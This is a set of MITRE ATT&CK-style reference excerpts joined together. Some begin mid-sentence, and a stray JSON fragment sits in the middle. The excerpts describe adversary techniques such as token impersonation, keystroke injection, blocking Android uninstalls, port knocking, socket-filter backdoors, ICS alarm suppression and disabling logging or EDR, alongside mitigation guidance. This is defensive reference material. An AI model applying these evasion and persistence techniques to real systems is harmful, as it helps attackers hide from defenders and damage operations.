remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the `runas` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n\n**Sub-techniques.** - T1134.001 Token Impersonation/Theft: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls.\n- T1134.004 Parent PID Spoofing: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges.\n- T1134.005 SID-History Injection: Adversaries may use SID-History Injection to escalate privileges and bypass access controls.

These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\n\n## Reference: ATT&CK T1629.001 Prevent Application Removal\n**ATT&CK T1629.001 Prevent Application Removal (full record).** Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen\n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device.

Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document.

Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter. Modern versions of Windows include a built-in SSH server and client. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Audit\nAuditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## Restrict File and Directory Permissions\nRestricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\nEnforce Least Privilege Permissions:\n\n- Remove unnecessary write permissions on sensitive files and directories.\n- Use file ownership and groups to control access for specific roles.\n\nExample (Windows): Right-click the shared folder → Properties → Security tab → Adjust permissions for NTFS ACLs.\n\nHarden File Shares:\n\n- Disable anonymous access to shared folders.\n- Enforce NTFS permissions for shared folders on Windows.\n\nExample: Set permissions to restrict write access to critical files, such as system executables (e.g., `/bin` or `/sbin` on Linux). Use tools like `chown` and `chmod` to assign file ownership and limit access.\n\nOn Linux, apply:\n`chmod 750 /etc/sensitive.conf`\n`chown root:admin /etc/sensitive.conf`\n\nFile Integrity Monitoring (FIM):\n\n- Use tools like Tripwire, Wazuh, or OSSEC to monitor changes to critical file permissions.\n\nAudit File System Access:\n\n- Enable auditing to track permission changes or unauthorized access attempts.\n- Use auditd (Linux) or Event Viewer (Windows) to log activities.\n\nRestrict Startup Directories:\n\n- Configure permissions to prevent unauthorized writes to directories like `C:\\ProgramData\\Microsoft\\Windows\\Start Menu`.\n\nExample: Restrict write access to critical directories like `/etc/`, `/usr/local/`, and Windows directories such as `C:\\Windows\\System32`.\n\n- On Windows, use icacls to modify permissions: `icacls \"C:\\Windows\\System32\" /inheritance:r /grant:r SYSTEM:(OI)(CI)F`\n- On Linux, monitor permissions using tools like `lsattr` or `auditd`.\n\n## Disable or Remove Feature or Program\nDisable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Software Configuration\nSoftware configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\nConduct a Security Review of Application Settings:\n\n- Review the software documentation to identify recommended security configurations.\n- Compare default settings against organizational policies and compliance requirements.\n\nImplement Access Controls and Permissions:\n\n- Restrict access to sensitive features or data within the software.\n- Enforce least privilege principles for all roles and accounts interacting with the software.\n\nEnable Logging and Monitoring:\n\n- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.\n- Integrate logs with a centralized monitoring solution, such as a SIEM.\n\nUpdate and Patch Software Regularly:\n\n- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.\n- Use automated patch management tools to streamline the update process.\n\nDisable Unnecessary Features or Services:\n\n- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.\n\nTest Configuration Changes:\n\n- Perform configuration changes in a staging environment before applying them in production.\n- Conduct regular audits to ensure that settings remain aligned with security policies.\n\n*Tools for Implementation*\n\nConfiguration Management Tools:\n\n- Ansible: Automates configuration changes across multiple applications and environments.\n- Chef: Ensures consistent application settings through code-based configuration management.\n- Puppet: Automates software configurations and audits changes for compliance.\n\nSecurity Benchmarking Tools:\n\n- CIS-CAT: Provides benchmarks and audits for secure software configurations.\n- Aqua Security Trivy: Scans containerized applications for configuration issues.\n\nVulnerability Management Solutions:\n\n- Nessus: Identifies misconfigurations and suggests corrective actions.\n\nLogging and Monitoring Tools:\n\n- Splunk: Aggregates and analyzes application logs to detect suspicious activity.\n\n## Execution Prevention\nPrevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Principle\nAgainst T1685, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two."}]}

Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole.\n\nA Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question:\n\n* An alarm raised by a protocol message\n* An alarm signaled with I/O\n* An alarm bit set in a flag (and read)\n\nIn ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue.\n\nThe German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace.\n\nA Polish student used a remote controller device to interface with the Lodz city tram system in Poland. Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property.

Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner.\n\nMany unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage.\n\nAdversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.\n\n**Classification.** - Tactics: impact\n- Platforms: None\n\n**Mitigations.** - **Safety Instrumented Systems**: Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1205.001 Port Knocking\n**ATT&CK T1205.001 Port Knocking (full record).** Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Port-knock → rule/daemon change → first successful connect (T1205.001)**\n  - A remote source rapidly touches a short sequence of closed ports (SYN→RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port. […]\n\n## Reference: ATT&CK T1205.002 Socket Filters\n**ATT&CK T1205.002 Socket Filters (full record).** Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

[…]\n\n## Reference: ATT&CK T1210 Exploitation of Remote Services\n**ATT&CK T1210 Exploitation of Remote Services (full record).** Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. […]\n\n## Reference: ATT&CK T1211 Exploitation for Stealth\n**ATT&CK T1211 Exploitation for Stealth (full record).** Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components.\n\nAdversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Threat Intelligence Program**: A Threat Intelligence Program enables organizations to proactively identify, analyze, and act on cyber threats by leveraging internal and external data sources. The program supports decision-making processes, prioritizes defenses, and improves incident response by delivering actionable intelligence tailored to the organization's risk profile and operational environment.

This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.\n\nIn addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion).\n\nMore advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents.
